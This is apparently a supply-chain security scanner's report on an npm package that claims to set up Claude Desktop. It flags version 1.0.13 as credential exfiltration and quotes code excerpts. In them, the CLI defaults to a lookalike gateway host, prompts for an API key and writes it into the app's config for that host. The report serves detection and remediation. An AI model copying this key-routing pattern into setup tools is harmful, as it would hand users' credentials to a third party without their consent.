registry / Credential exfiltration / @decoopus/claude-setup

@decoopus/claude-setup

One-command setup for Claude Desktop with custom 3P inference gateway

This report shows the evidence for @decoopus/claude-setup@1.0.13. 4 of 15 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 9d ago · by lpm-firewall-ai

The source connects an Anthropic-style key example to a package-selected default gateway and persists that key for Claude Desktop to use. This supports blocking for credential exposure despite the explicit setup command and displayed gateway.

Static reason

No blocking static signals were detected.

Trigger

A user runs the setup CLI and enters or passes an API key; setup applies the configuration and launches Claude Desktop.

Impact

When Claude Desktop uses the configured gateway, the supplied key is sent to that recipient with gateway requests.

Mechanism

The CLI defaults to the publisher-selected gateway, saves the supplied key with that gateway URL in Claude Desktop settings, then launches the app.

Attack narrative

The package’s example supplies an Anthropic-style API key, while setup defaults to api-anthropic.help and stores the entered key as that gateway’s credential before launching Claude Desktop. The package describes third-party gateway setup and displays the default host, but the user does not select that recipient, and the source does not establish consent to disclose an Anthropic service key to it.

AI rationale

Evidence

README.mdbin/cli.jsclaude_desktop_config.json

Network endpoints1

api-anthropic.help

Decision evidence

public snapshot

AI called this Malicious at 93.0% confidence as Malware with low false-positive risk.

Evidence for block

The CLI defaults to the publisher-selected api-anthropic.help gateway.
The README example shows an Anthropic-style API key being supplied to setup.
The CLI prompts for a generic API key and stores it as the gateway credential alongside the gateway URL.
Setup writes those values into Claude Desktop configuration and launches the app.

Evidence against

Setup is explicitly user-invoked and describes its purpose as configuring a third-party gateway; the default host is displayed in the CLI banner.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystemShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 31.9 KB of source, external domains: api-anthropic.help

Source & flagged code

7 flagged

bin/cli.jsView file

Lines 1-37javascript

1#!/usr/bin/env node

3/**

4 * Claude Desktop 3P Gateway Auto-Configurator

5 * Automates configuring Claude Desktop with custom third-party inference endpoints.

6 *

7 * Base URL: https://api-anthropic.help

8 */

10const fs = require('fs');

11const path = require('path');

12const os = require('os');

13const cp = require('child_process');

14const readline = require('readline');

16// Default configurations

17const DEFAULT_GATEWAY_URL = 'https://api-anthropic.help';

18const DEFAULT_AUTH_SCHEME = 'bearer';

19const DEFAULT_MODELS = [

20 { name: 'claude-fable-5-1', labelOverride: 'Claude Fable 5.1' },

High

Ai Review Evidence

The CLI defaults to the publisher-selected api-anthropic.help gateway.

bin/cli.jsView on unpkg · L17

21 { name: 'claude-opus-5-5', labelOverride: 'Claude Opus 5.5' },

22 { name: 'claude-sonnet-5-5', labelOverride: 'Claude Sonnet 5.5' },

23 { name: 'claude-haiku-5-5', labelOverride: 'Claude Haiku 5.5' }

24];

26// Claude Aesthetic Color Palette (Terracotta, Cream, Amber, Sand)

27const c = {

28 reset: '\x1b[0m',

29 bold: '\x1b[1m',

30 dim: '\x1b[38;2;140;130;120m',

31 terracotta: '\x1b[38;2;218;119;86m',

32 terracottaBold: '\x1b[1m\x1b[38;2;218;119;86m',

33 cream: '\x1b[38;2;244;240;230m',

34 creamBold: '\x1b[1m\x1b[38;2;244;240;230m',

35 sand: '\x1b[38;2;214;199;182m',

36 amber: '\x1b[38;2;235;170;70m',

37 green: '\x1b[38;2;120;185;120m',

Lines 170-210javascript

170 normalized = normalized.replace(/\/+$/, '');

171 return normalized;

172}

173

174// -------------------------------------------------------------

175// Platform Paths

176// -------------------------------------------------------------

177

178

Lines 576-616javascript

576 try {

577 const dir = path.dirname(targetPath);

578 if (!fs.existsSync(dir)) {

579 fs.mkdirSync(dir, { recursive: true });

580 }

581

Lines 894-968javascript

894

895 log(`\n ${c.greenBold}✔ Successfully restored Claude Desktop to default settings!${c.reset}\n`);

896 return;

897 }

898

899 // Prompt 1: User Gmail

900

README.mdView file

Lines 8-48markdown

9## ⚡ Quick Start

11Users can simply open **PowerShell** (Windows) or **Terminal** (macOS/Linux) and run:

13```bash

14npx claude-desktop-setup

15```

17It will prompt for their email and API key:

18```text

Source & flagged code

7 flagged · loading source

bin/cli.jsView file

17const DEFAULT_GATEWAY_URL = 'https://api-anthropic.help'; const DEFAULT_AUTH_SCHEME = 'bearer'; const DEFAULT_MODELS = [ { name: 'claude-fable-5-1', labelOverride: 'Claude Fable

High

Ai Review Evidence

The CLI defaults to the publisher-selected api-anthropic.help gateway.

bin/cli.jsView on unpkg · L17

914apiKey = await askQuestion(` ${c.sand}API Key: ${c.reset}`); } if (!apiKey) { error('API Key cannot be empty. Setup aborted.'); process.exit(1); } gatewayUrl = n

High

Ai Review Evidence

The CLI prompts for a generic API key and stores it as the gateway credential alongside the gateway URL.

bin/cli.jsView on unpkg · L914

596config.inferenceGatewayBaseUrl = url; config.inferenceGatewayApiKey = apiKey; config.inferenceGatewayAuthScheme = authScheme; config.inferenceModels = DEFAULT_MODELS;

High

Ai Review Evidence

The CLI prompts for a generic API key and stores it as the gateway credential alongside the gateway URL.

bin/cli.jsView on unpkg · L596

Findings

7 High1 Medium3 Low

HighAi Review Evidencebin/cli.js

HighAi Review EvidenceREADME.md

HighAi Review Evidencebin/cli.js

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to @decoopus/claude-setup@1.0.13.

The versions list below shows the verdict for each recorded version.

Avoid installing @decoopus/claude-setup@1.0.13. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 06:45:04.795Z (UTC).

Source advisory published: 2026-10-19 21:47:42.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

15 known versions

0.0.1-securitylatestUnknown—AllowUnder ReviewOct 19, 2026, 9:53 PM 0.0.0-stageClean—AllowPublishedOct 19, 2026, 9:46 PM 1.0.12Clean—AllowPublishedOct 14, 2026, 8:09 AM 1.0.13shownMaliciousCredential ExfiltrationBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code